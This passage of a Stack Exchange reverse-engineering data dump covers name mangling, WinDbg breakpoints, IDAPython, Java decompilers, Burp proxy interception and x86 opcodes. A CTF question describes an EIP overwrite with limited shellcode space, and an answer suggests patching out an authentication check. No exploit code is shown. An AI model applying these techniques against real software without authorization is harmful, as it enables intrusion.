  <row Id="13353" PostTypeId="2" ParentId="13351" CreationDate="2016-08-24T16:13:16.840" Score="3" Body="&lt;p&gt;The leading &lt;code&gt;?&lt;/code&gt; identifies a C++ name mangled symbol. Two &lt;code&gt;??&lt;/code&gt; signify operators, constructors, destructors, constant strings, and various compiler generator functions. For example &lt;code&gt;??0&lt;/code&gt; is a constructor. &lt;a href=&quot;http://www.geoffchappell.com/studies/msvc/language/decoration/index.htm&quot; rel=&quot;nofollow&quot;&gt;This site&lt;/a&gt; has a good breakdown of the mangling pieces used by MSVC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A leading underscore &lt;code&gt;_&lt;/code&gt; can either be due to the calling convention or due to the CRT/compiler identification standard. They will prefix all of their symbols with &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/2e6a4at9.aspx&quot; rel=&quot;nofollow&quot;&gt;two leading underscores&lt;/a&gt; &lt;code&gt;__&lt;/code&gt; as a way to help prevent name collisions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In Microsoft C++, identifiers with two leading underscores are&#xA;  reserved for compiler implementations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2016-08-24T16:13:16.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13356" PostTypeId="2" ParentId="13335" CreationDate="2016-08-25T07:04:34.843" Score="1" Body="&lt;p&gt;Have you checked out Burp proxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://portswigger.net/burp/proxy.html&quot; rel=&quot;nofollow&quot;&gt;https://portswigger.net/burp/proxy.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always use Brup for any Android app, desktop app, website... and you don't even have to use ProxyDroid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connect you mobile phone and your laptop to the same LAN and configure the Burp proxy to start listening at your private ip. Then in android wifi options you can configure the proxy settings ip and port:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect to WIFI network&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Settings-&gt;WIFI&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Long tap on connected network's name&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify network config-&gt; Show advanced options&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set proxy settings&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After that configure Brup proxy options under the proxy tab to stop all requests and responses. After that you don't need to know the port that you app is using, all traffic from you smartphone will be shown in Brup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.portswigger.net/customer/en/portal/topics/718317-installing-and-configuring-burp/articles&quot; rel=&quot;nofollow&quot;&gt;https://support.portswigger.net/customer/en/portal/topics/718317-installing-and-configuring-burp/articles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from that Burp have lots of features and plugins for fuzzing and other stuff, I don't know what are you trying to accomplish here but anyway this way should work for you!&lt;/p&gt;&#xA;" OwnerUserId="17224" LastActivityDate="2016-08-25T07:04:34.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13357" PostTypeId="1" AcceptedAnswerId="13359" CreationDate="2016-08-25T07:10:55.517" Score="1" ViewCount="1923" Body="&lt;p&gt;How to set breakpoint on this C++ symbol?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bp qmgr!TokenHandle::operator-: &#xA;  Could not resolve error at 'qmgr!TokenHandle::operator-:'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in windbg?&lt;/p&gt;&#xA;" OwnerUserId="12454" LastEditorUserId="60" LastEditDate="2017-09-06T14:24:49.720" LastActivityDate="2017-09-06T14:24:49.720" Title="How to set breakpoint on C++ symbols?" Tags="|debugging|c++|windbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13358" PostTypeId="1" CreationDate="2016-08-25T08:27:36.540" Score="2" ViewCount="3531" Body="&lt;p&gt;I'm using IDAPython on IDA 6.5 and I'm trying to get all the switch jump tables in a DLL. Mainly I'm interested in jump tables that are jumped indirectly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp     ds:off_65018790[ecx*4] ; switch jump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, what interests me is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The address from where the jmp happens&lt;/li&gt;&#xA;&lt;li&gt;The list of the possible locations, for example - loc_65018723, loc_65018736...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I already know how to get all the jmp addresses using IDAPython, but I don't know if it's a jmp to a jump table or just a normal jmp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases, IDA knows to identify those jump tables, so is there a way to get that info from the API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="15755" LastActivityDate="2021-11-21T03:27:59.977" Title="How to Find All Switch Jump Tables in IDAPython" Tags="|ida|idapython|ida-plugin|disassemblers|idapro-sdk|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13359" PostTypeId="2" ParentId="13357" CreationDate="2016-08-25T15:13:42.820" Score="4" Body="&lt;p&gt;Make sure your symbol is correct&lt;br&gt;&#xA;Couldn't resolve means the symbol  doesn't exist&lt;br&gt;&#xA;first confirm with x /f /v (f shows only functions and v shows verbose information )&lt;br&gt;&#xA;next set breakpoint on the symbol using the advice spit out by the debugger&lt;br&gt;&#xA;most inline functions would require bm breakpoints&lt;br&gt;&#xA;or bu breakpoints   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bp breakpoints can fail on inlined or overloaded functions (Ambigous functions)   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; x /f /v calc!*CSc*::*=*&#xA;pub func   00ad4248             0 calc!CScientificKeypad::operator= (&amp;lt;no parameter info&amp;gt;)&#xA;&#xA;0:000&amp;gt; x /1 calc!*CSc*::*=*&#xA;calc!CScientificKeypad::operator=&#xA;&#xA;0:000&amp;gt; bp calc!CScientificKeypad::operator=&#xA;&#xA;Couldn't resolve error at 'calc!CScientificKeypad::operator='&#xA;The breakpoint expression &quot;calc!CScientificKeypad::operator=&quot; evaluates to the inline function.&#xA;&#xA;Please use bm command to set breakpoints instead of bp.&#xA;&#xA;0:000&amp;gt; bu calc!CScientificKeypad::operator=&#xA;Couldn't resolve error at 'calc!CScientificKeypad::operator='&#xA;The breakpoint expression &quot;calc!CScientificKeypad::operator=&quot; evaluates to the inline function.&#xA;Please use bm command to set breakpoints instead of bu.&#xA;&#xA;0:000&amp;gt; bm calc!CScientificKeypad::operator=&#xA;  1: 00ad4248          @!&quot;calc!CScientificKeypad::operator=&quot;&#xA;&#xA;0:000&amp;gt; bl&#xA; 1 e 00ad4248     0001 (0001)  0:**** calc!CScientificKeypad::operator=&#xA;0:000&amp;gt; g&#xA;&#xA;Breakpoint 1 hit&#xA;&#xA;calc!CScientificKeypad::operator=:&#xA;00ad4248 8bff            mov     edi,edi&#xA;&#xA;0:000&amp;gt; kb&#xA; # ChildEBP RetAddr  Args to Child              &#xA;00 0015e7fc 00ad41eb 00b043c8 2b3b2a3d 761ef2a9 calc!CScientificKeypad::operator=&#xA;01 0015e828 00ad3fe7 00b0433c 00b043c8 000000aa calc!CScientificMode::CScientificMode+0x49&#xA;02 0015e878 00ad3e69 00000000 762025df 00b04210 calc!CContainer::LayoutScientificMode+0x93&#xA;03 0015f0fc 00ab1b0e 00000000 00b04a68 0025264c calc!CContainer::AssembleDialogsWithoutToolset+0x18e&#xA;04 0015fe6c 00ac219a 00ab0000 00000000 0025264c calc!WinMain+0x581&#xA;05 0015fefc 77883c45 7ffdf000 0015ff48 77d537f5 calc!_initterm_e+0x1a1&#xA;06 0015ff08 77d537f5 7ffdf000 77c5ad65 00000000 kernel32!BaseThreadInitThunk+0xe&#xA;07 0015ff48 77d537c8 00ac2d6c 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70&#xA;08 0015ff60 00000000 00ac2d6c 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-08-25T15:13:42.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13360" PostTypeId="2" ParentId="13357" CreationDate="2016-08-25T15:15:36.130" Score="3" Body="&lt;p&gt;It looks like you have an extra colon at the end of your string (&lt;code&gt;operator-:&lt;/code&gt;) and you may need to use &lt;code&gt;bm&lt;/code&gt; instead of &lt;code&gt;bp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class TokenHandle&#xA;{&#xA;public:&#xA;    int data;&#xA;    TokenHandle(int i) &#xA;    {&#xA;        data = i;&#xA;    }&#xA;    TokenHandle operator-(TokenHandle&amp;amp; in)&#xA;    {&#xA;        return TokenHandle(data - in.data);&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WinDbg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; bm test!TokenHandle::operator-&#xA;  1: 00000001`3fd62da0 @!&quot;test!TokenHandle::operator-&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternately verify that the debugger is able to find the right symbols (and you can always set a breakpoint on the address found):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; x test!TokenHandle*&#xA;00000001`3fd62da0 test!TokenHandle::operator- (class TokenHandle *)&#xA;00000001`3fd626c0 test!TokenHandle::TokenHandle (int)&#xA;0:000&amp;gt; bp 00000001`3fd62da0 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2016-08-25T15:15:36.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13361" PostTypeId="2" ParentId="10742" CreationDate="2016-08-25T16:44:14.433" Score="1" Body="&lt;p&gt;Uhm... you could do the other way around. Try this: in the address of the basic block that should be connected from that call statement you say, press Alt+F11 (change callee) and put the address where the call statement is.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-08-25T16:44:14.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13362" PostTypeId="2" ParentId="1370" CreationDate="2016-08-25T21:49:18.400" Score="19" Body="&lt;p&gt;&lt;strong&gt;Old and Lacking Entries&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JAD&lt;/strong&gt;&#xA;Some time ago, everyone’s decompiler of choice was jad. Currently, the project is dead (in addition, it wasn’t open source), but still you see a lot of people referring to it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Java DeObfuscator&lt;/strong&gt;&#xA;Also an older tool from fileoffset.com, but still works more or less. The interface is rather clunky to use for larger projects, but the tool is &lt;a href=&quot;http://sourceforge.net/projects/jdo/&quot; rel=&quot;noreferrer&quot;&gt;open source&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JODE&lt;/strong&gt;&#xA;&lt;a href=&quot;http://jode.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;JODE&lt;/a&gt; is a java package containing a decompiler and an optimizer for Java. This package is freely available under the GNU GPL. It hasn’t been updated for quite some time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;AndroChef&lt;/strong&gt;&#xA;Proprietary tool to decompile Android programs and Java files, available &lt;a href=&quot;http://www.neshkov.com/ac_decompiler.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. Not worth the money given the alternatives, just as &lt;a href=&quot;http://www.neshkov.com/dj.html&quot; rel=&quot;noreferrer&quot;&gt;DJ Decompiler&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Candle&lt;/strong&gt;&#xA;An open source decompiler by Brad Davis. I’m mentioning it for completeness, but is far away from being feature complete.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Modern Tools&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JD-Gui&lt;/strong&gt;&#xA;Probably one of the most widely used tools for Java decompilation, as it is easy to use and provides a graphical user interface which allows to quickly open up and inspect a class file or JAR. You can find it &lt;a href=&quot;http://jd.benow.ca/&quot; rel=&quot;noreferrer&quot;&gt;over here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;FernFlower&lt;/strong&gt;&#xA;Very new and promising analytical Java decompiler (becoming an integral part of IntelliJ 14).&lt;/p&gt;&#xA;&lt;p&gt;It’s a command line tool. This one is able to show the Unicode parameters with their full name.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/fesh0r/fernflower&quot; rel=&quot;noreferrer&quot;&gt;Download from here.&lt;/a&gt;&#xA;It’s a command line tool. This one is able to show the Unicode parameters with their full name.&lt;br /&gt;&#xA;Note that it's also already integrated by default in IntelliJ.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CFR&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.benf.org/other/cfr/&quot; rel=&quot;noreferrer&quot;&gt;Free, and open source&lt;/a&gt;. This one aims to decompile modern Java features, including Java 12 switch expressions, Java 8 lambdas (pre and post Java beta 103 changes), Java 7 String switches etc., though is itself written in Java 6.&lt;/p&gt;&#xA;&lt;p&gt;Also a command line tool. This one does an even better job and is slightly faster.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Procyon&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitbucket.org/mstrobel/procyon/wiki/Java%20Decompiler&quot; rel=&quot;noreferrer&quot;&gt;Open source&lt;/a&gt;, and also aims to deal with Java 8 features (lambdas, :: operator). Needs Java 7 to run.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Krakatau&lt;/strong&gt;&#xA;&lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;noreferrer&quot;&gt;Krakatau&lt;/a&gt; is interesting because it has been written in Python. It currently contains three tools: a decompiler and disassembler for Java class files and an assembler to create class files.&lt;/p&gt;&#xA;&lt;p&gt;Does not yet support Java 8 features.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Soot&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Soot is a framework for analyzing and transforming Java and Android applications, originally developed by the Sable Research Group of McGill University. It’s not very commonly used “just” as a decompiler, as it also defines an intermediate byte code language.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Recaf&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A Java Bytecode editor and reverse engineering tool aimed at being intuitive to use. It can present bytecode through multiple decompilers &lt;em&gt;(CFR, FernFlower, Procyon)&lt;/em&gt; or in a table layout to allow displaying class elements that are indecipherable in standard decompilers. Recaf uses context-sensitive menus to interact with classes, methods, and fields, allowing users to search for use cases, rename items, and edit definitions in a disassembled format.&lt;/p&gt;&#xA;&lt;p&gt;It supports jars, wars, classes, and extracting classes from running Java processes.&lt;/p&gt;&#xA;&lt;p&gt;It is written completely in Java and is fully &lt;a href=&quot;https://github.com/Col-E/Recaf&quot; rel=&quot;noreferrer&quot;&gt;open source&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Konloch’s Bytecode Viewer&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;An Advanced Lightweight Java Bytecode Viewer, GUI Java Decompiler, GUI Bytecode Editor, GUI Smali, GUI Baksmali, GUI APK Editor, GUI Dex Editor, GUI APK Decompiler, GUI DEX Decompiler, GUI Procyon Java Decompiler, GUI Krakatau, GUI CFR Java Decompiler, GUI FernFlower Java Decompiler, GUI DEX2Jar, GUI Jar2DEX, GUI Jar-Jar, Hex Viewer, Code Searcher, Debugger and more.&lt;/p&gt;&#xA;&lt;p&gt;Written completely in Java, and it’s &lt;a href=&quot;https://github.com/Konloch/bytecode-viewer&quot; rel=&quot;noreferrer&quot;&gt;open source&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It uses FernFlower, Procyon and CFR for decompilation, makes this an awesome visual tool using state-of-art decompilers:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Enigma&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cuchazinteractive.com/enigma/&quot; rel=&quot;noreferrer&quot;&gt;A tool specifically geared for deobfuscation&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Originally used to deobfuscate Minecraft versions. Uses Procyon internally.&lt;/p&gt;&#xA;&lt;p&gt;A more up to date fork &lt;a href=&quot;https://github.com/FabricMC/Enigma&quot; rel=&quot;noreferrer&quot;&gt;can be found here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;It’s fun to note that a lot of effort into decompilers and de-obfuscators for Java is the result of the modding scene around Minecraft, one of the most popular games implemented in Java.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://blog.macuyiko.com/post/2015/a-quick-look-at-java-decompilers.html&quot; rel=&quot;noreferrer&quot;&gt;http://blog.macuyiko.com/post/2015/a-quick-look-at-java-decompilers.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17124" LastEditorUserId="20336" LastEditDate="2020-08-20T10:43:54.627" LastActivityDate="2020-08-20T10:43:54.627" CommentCount="2" CommunityOwnedDate="2016-08-25T21:49:18.400" ContentLicense="CC BY-SA 4.0" />
  <row Id="13363" PostTypeId="2" ParentId="1560" CreationDate="2016-08-25T22:01:39.477" Score="0" Body="&lt;p&gt;This is the tool I have been using when I have needed to recognize a file format or files inside a (big) dump. It has a big signature BD file that you/people can contribute to.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Signsrch 0.2.4 (signsrch)&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;tool for searching signatures inside files, extremely useful in&#xA;  reversing engineering for figuring or having an initial idea of what&#xA;  encryption/compression algorithm is used for a proprietary protocol or&#xA;  file. it can recognize tons of compression, multimedia and encryption&#xA;  algorithms and many other things like known strings and anti-debugging&#xA;  code which can be also manually added since it's all based on a text&#xA;  signature file read at runtime and easy to modify. supports&#xA;  multithreading, scanning of folders using wildcards, scanning of&#xA;  processes, conversion of the executables offsets in memory offsets,&#xA;  loading of custom signature files and their automatic checking for&#xA;  avoiding errors, automatic finding of the instructions that reference&#xA;  the found signatures (like &quot;Find references&quot; of Ollydbg) and the&#xA;  launching of an executable placing an INT3 byte at the desired memory&#xA;  offset (for example one of those retrieved with the -F option, watch&#xA;  the Video setion for an example). the tool supports 8, 16, 32 and 64&#xA;  bits, float and double plus automatic CRC table creation and C style&#xA;  strings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://aluigi.altervista.org/mytoolz.htm&quot; rel=&quot;nofollow&quot;&gt;http://aluigi.altervista.org/mytoolz.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17124" LastActivityDate="2016-08-25T22:01:39.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13365" PostTypeId="1" CreationDate="2016-08-26T00:15:04.493" Score="1" ViewCount="203" Body="&lt;p&gt;In PIN's documentation it says this about &lt;code&gt;PIN_SafeCopy&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PIN_SafeCopy is used to copy the specified number of bytes from a&#xA;  source memory region to a destination memory region. This function&#xA;  guarantees safe return to the caller even if the source or destination&#xA;  regions are inaccessible (entirely or partially). Use of this function&#xA;  also guarantees that the tool reads or writes the values used by the&#xA;  application. For example, on Windows, Pin replaces certain TEB fields&#xA;  when running a tool's analysis code. If the tool accessed these fields&#xA;  directly, it would see the modified values rather than the original&#xA;  ones. Using PIN_SafeCopy() allows the tool to read or write the&#xA;  application's values for these fields.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get the stack base of the current thread. Normally I would get it like this (if going directly through &lt;code&gt;FS&lt;/code&gt;): &lt;code&gt;mov eax, FS:[0x04]&lt;/code&gt;. Since I'm getting the old stack, and not the &quot;new&quot; one maintained by PIN (if I compare the &lt;code&gt;REG_ESP&lt;/code&gt; from PIN with the current &lt;code&gt;ESP&lt;/code&gt; they show different stacks) I tried to first get the linear address of the TEB with &lt;code&gt;mov eax, FS:[0x18]&lt;/code&gt; and then use &lt;code&gt;PIN_SafeCopy&lt;/code&gt; to read from this address + 0x04. However I only get 0x00000000. Any idea how I can do this? Also I suppose this makes it risky to use the Win API if it reads from such stale sources of data?&lt;/p&gt;&#xA;" OwnerUserId="17236" LastActivityDate="2016-08-26T00:15:04.493" Title="How do I access the TEB in PIN?" Tags="|windows|winapi|pintool|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13366" PostTypeId="1" CreationDate="2016-08-26T08:33:58.287" Score="0" ViewCount="4131" Body="&lt;p&gt;I am working on an exploit for a ctf-challenge and could't find any hint about my problem. My steps so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I could successfully overwrite EIP with an &quot;jmp esp&quot; address and jump to my shellcode.&lt;/li&gt;&#xA;&lt;li&gt;I have determined all &quot;bad-chars&quot; which will cut my shellcode. There are none ;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem is, I have only 44 bytes of space for my shellcode and this is not enough for my shellcode. Since my egghunter can't find the rest of my shellcode, I assume it's not written in the memory. The OS is Windows 7 x86 without SP1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to expand the space for my shellcode or to exploit the application in another way? Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SynTraX&lt;/p&gt;&#xA;" OwnerUserId="17239" LastActivityDate="2020-12-05T05:22:53.647" Title="Not enough space for shellcode" Tags="|exploit|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13367" PostTypeId="2" ParentId="13366" CreationDate="2016-08-26T08:55:57.943" Score="0" Body="&lt;p&gt;It's hard to comment without more information. It could be that there are other requests that store content in memory, which you can then look for later using your egghunter. Alternatively you could consider another attack, for example if the service supports auth, use th 44 bytes you have to patch out the auth check to always return true, etc.&lt;/p&gt;&#xA;" OwnerUserId="12794" LastActivityDate="2016-08-26T08:55:57.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13368" PostTypeId="1" CreationDate="2016-08-26T10:25:55.343" Score="0" ViewCount="501" Body="&lt;p&gt;I need to replace a single string in a bin. The actual string has 3 chars and the new one must have 4.If I use a hex editor this will make the exe useless.So is there any way to add bytes there to make it a 4 char string?&lt;/p&gt;&#xA;" OwnerUserId="17241" LastActivityDate="2016-08-26T13:35:55.540" Title="Using HEX editor and making 4 chars from 3 chars" Tags="|c++|hex|patch-reversing|strings|" AnswerCount="1" CommentCount="2" ClosedDate="2016-08-30T09:09:44.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="13369" PostTypeId="1" AcceptedAnswerId="13372" CreationDate="2016-08-26T11:25:24.213" Score="0" ViewCount="2490" Body="&lt;p&gt;I'm currently parsing a lot of assembly files and don't understand a specific &lt;code&gt;jmp&lt;/code&gt; or &lt;code&gt;call&lt;/code&gt; with &lt;code&gt;$+5&lt;/code&gt; as operand:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call $+5&#xA; jmp $+5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To provide more context I grepped some of the occurrences:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov esp, [ebp+ms_exc.old_esp]&#xA;and [ebp+ms_exc.registration.TryLevel], 0&#xA;or [ebp+ms_exc.registration.TryLevel], 0FFFFFFFFh&#xA;call $+5&#xA;jmp sub_4493CA&#xA;===== S U B R O U T I N E =======================================&#xA;push esi&#xA;&#xA;[...]&#xA;&#xA;mov esp, [ebp+ms_exc.old_esp]&#xA;and [ebp+ms_exc.registration.TryLevel], 0&#xA;or [ebp+ms_exc.registration.TryLevel], 0FFFFFFFFh&#xA;call $+5&#xA;jmp sub_45746A&#xA;===== S U B R O U T I N E =======================================&#xA;mov eax, dword_4778F8&#xA;&#xA;[...]&#xA;&#xA;mov eax, ebx&#xA;test al, 2&#xA;jnz loc_100994B8&#xA;jmp $+5&#xA;-----------------------------------------------------------------&#xA;mov eax, [ebp+var_34]&#xA;mov [ebp+var_40], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the meaning of the &lt;code&gt;$+5&lt;/code&gt; operand?&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-08-26T18:44:54.797" Title="Intel syntax - Meaning of jmp/call instruction with $+5 operand" Tags="|disassembly|x86|call|intel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13371" PostTypeId="2" ParentId="13369" CreationDate="2016-08-26T11:49:17.020" Score="2" Body="&lt;p&gt;$ = Current position (beginning of the instruction)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+5 = +5 bytes from the beginning of the instruction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jmp $+5  = jmp 3 bytes past the jmp instruction (short jmp takes 2 bytes + 3 bytes past that)&lt;/p&gt;&#xA;" OwnerUserId="3744" LastEditorUserId="3744" LastEditDate="2016-08-26T11:54:25.383" LastActivityDate="2016-08-26T11:54:25.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13372" PostTypeId="2" ParentId="13369" CreationDate="2016-08-26T11:59:38.590" Score="3" Body="&lt;p&gt;opcode for call $+5 is e8 00000000 so it calls the next instruction&lt;br&gt;&#xA;opcode for jmp  $+5 is e9 00000000 so it jumps to the next insturction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;76E95FE0                        E8 00000000 CALL    76E95FE5         ;  &amp;lt;ntdll.call here&amp;gt;&#xA;76E95FE5 &amp;lt;ntdll.call here&amp;gt;      00          DB      00&#xA;76E95FE6                        E9 00000000 JMP     76E95FEB         ;  &amp;lt;ntdll.jmp_here&amp;gt;&#xA;76E95FEB &amp;lt;ntdll.jmp_here&amp;gt;       00          DB      00&#xA;76E95FEC                        EB 02       JMP     SHORT 76E95FF0   ;  &amp;lt;ntdll.jmp+4&amp;gt;&#xA;76E95FEE                        00          DB      00&#xA;76E95FEF                        00          DB      00&#xA;76E95FF0 &amp;lt;ntdll.jmp+4&amp;gt;          00          DB      00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-08-26T18:44:54.797" LastActivityDate="2016-08-26T18:44:54.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13374" PostTypeId="2" ParentId="13368" CreationDate="2016-08-26T13:35:55.540" Score="2" Body="&lt;p&gt;As Far As i Know there isn't another way &#xA;assume you have a program like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O2Uew.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O2Uew.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the hex for this function will look like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; db main l21&#xA;00111260  55 8b ec 6a 00 eb 04 74-68 69 00 68 67 12 11 00  U..j...thi.hg...&#xA;00111270  68 67 12 11 00 6a 00 ff-15 5c c1 14 00 33 c0 5d  hg...j...\...3.]&#xA;00111280  c3 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and disassembling the function will yield this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf main &#xA;smallstr!main [e:\test\smallstr\smallstr.cpp @ 2]:&#xA;    2 00111260 55              push    ebp&#xA;    2 00111261 8bec            mov     ebp,esp&#xA;    5 00111263 6a00            push    0&#xA;    6 00111265 eb04            jmp     smallstr!main+0xb (0011126b)  Branch&#xA;&#xA;smallstr!main+0xb [e:\test\smallstr\smallstr.cpp @ 13]:&#xA;   13 0011126b 6867121100      push    offset smallstr!main+0x7 (00111267)&#xA;   14 00111270 6867121100      push    offset smallstr!main+0x7 (00111267)&#xA;   15 00111275 6a00            push    0&#xA;   16 00111277 ff155cc11400    call    dword ptr [smallstr!_imp__MessageBoxA (0014c15c)]&#xA;   18 0011127d 33c0            xor     eax,eax&#xA;   19 0011127f 5d              pop     ebp&#xA;   19 00111280 c3              